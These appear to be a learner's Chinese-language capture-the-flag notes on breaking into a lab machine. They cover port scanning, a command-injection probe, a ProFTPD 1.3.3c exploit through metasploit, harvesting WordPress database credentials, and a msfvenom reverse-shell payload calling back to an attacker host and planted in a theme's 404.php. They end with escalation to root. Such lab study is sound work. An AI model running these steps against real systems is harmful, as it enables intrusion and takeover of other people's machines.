靶场夺旗及FTP漏洞
经验:
nmap -p- T4 IP 可以扫描到未知端口
nmap -A -vT IP 快速扫描
对靶场的敏感信息探测:
dirb http://IP:port
nikto -host http://IP:port
一定要仔细看有没有robots.txt。太重要了,第一次就漏掉了!
- 对于大端口的探测:
nc IP port
本例当中的大端口有:22222 13337 60000
ssh -p 22222 username@IP进行登录
dirb
nikto
- 对于一些查找的页面,一定要看源代码
- 对于ftp 、smb、http一定要浏览一下
- 利用互动文本框,尝试输入命令,如:127.0.0.1;id
- 如果有些应用屏蔽某些命令,可以考虑找相关命令替换:如cat more less
- 考虑用ssh登录远程主机,前提猜到用户名和密码
有时ssh不能直接连到22端口,此时看是否有其他开放的ssh端口
可以:ssh -p 22222 username@IP进行登录
对FTP服务器:
nmap -A -T4 -v -p- -oX 139.xml 10.10.10.139
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.139 21 tcp ftp open ProFTPD 1.3.3c
10.10.10.139 22 tcp ssh open OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 Ubuntu Linux; protocol 2.0
10.10.10.139 80 tcp http open Apache httpd 2.4.18 (Ubuntu)
用searchsploit命令
看一下txt文件内容
cat /usr/share/exploitdb/exploits/linux/remote/15662.txt
参考txt文件信息,修改相关信息,如远程IP地址,实现入侵。过程比较复杂。
我们利用metasploit中的对应功能进行渗透。
在msfconsole中直接利用ProFTPD 1.3.3c漏洞,search一下找到相关exploit
直接拿下,权限是root。
python -c "import pty;pty.spawn('/bin/bash')" #出现命令提示符,看着比较舒服
另外一套思路:前提是登入靶机,不论以什么用户
dirb http:/10.10.10.139
nikto -host 10.10.10.139
发现有wordpress:地址为:http://vtcsec/secret/wp-login.php
思路:在网站配置文件中,找用户密码、进入,如下:
cat /var/www/html/secret/wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp_myblog');/** MySQL database username */
define('DB_USER', 'root');/** MySQL database password */
define('DB_PASSWORD', 'arootmysqlpass');/** MySQL hostname */
define('DB_HOST', 'localhost');/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
mysql -uroot -p -h localhost 进入数据库,找wordpress应用的合法用户名和密码。
use wp_myblog;
select * from wp_users;
靠,密码是数字摘要生成的。考虑彩虹表。
但是,这是我想起了弱口令,admin 123456 000000
生成反射渗透php代码:msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.130(msf主机IP地址)
在wordpress中,替换404.php。
在msf中:
use exploit/multi/handler(设定使用的大炮)
set payload php/meterpreter/reverse_tcp(设定使用的炮弹)
set lhost 10.10.10.130(设置监听地址)
exploit
浏览:http://10.10.10.131/secret/wp-content/themes/twentyseventeen/404.php
反射成功。
cat /etc/passwd
有一个普通用户:猜测弱口令:marlinspike,与用户一样。
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
sudo -l 列出marlinspike的提权的权限
sudo su - 提升为root权限
本例中需要对地址进行解析
在/etc/hosts中加入IP地址映射关系
10.10.10.139 vtcsec